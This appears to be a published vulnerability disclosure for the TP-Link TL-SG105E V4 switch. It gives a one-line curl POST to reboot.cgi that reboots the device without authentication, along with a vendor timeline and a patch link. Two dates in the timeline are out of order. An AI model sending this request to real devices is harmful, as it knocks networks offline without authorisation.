TP-Link TP-SG105E 1.0.0 Unauthenticated Remote Reboot

`# Exploit Title: TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot  
# Date: 2020-01-20  
# Exploit Author: PCEumel  
# Vendor Homepage: https://www.tp-link.com/  
# Software Link: https://www.tp-link.com/us/support/download/tl-sg105e/#Firmware  
# Version: TP-Link TP-SG105E V4  
# Tested on: TP-SG105E V4 1.0.0 Build 20181120  
# Patch from vendor : https://static.tp-link.com/2020/202001/20200120/TL-SG105Ev4.0_en_1.0.0_[20200119-rel.52079]_up.zip  
# CVE : N/A  
  
# TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot  
# The TP-Link TP-SG105E is a "5-Port Gigabit Easy Smart Switch".  
# It features a web front end and an application (Easy Smart Configuration Utility)  
# for easy configuration management.  
  
# The device does not properly restrict access to an internal API.  
# It is therefore possible to remotely reboot the device by sending a HTTP POST  
# request.  
  
---  
  
# POC :  
curl -d "reboot_op=reboot" -X POST http://192.168.1.10/reboot.cgi  
  
---  
  
Timeline :  
2019-09-16 | Vendor notified   
2019-09-25 | Reply (they will patch it)  
2019-12-24 | First patch for testing  
2019-12-19 | Confirmed the functionality of the patch  
2020-01-14 | Public patch available  
`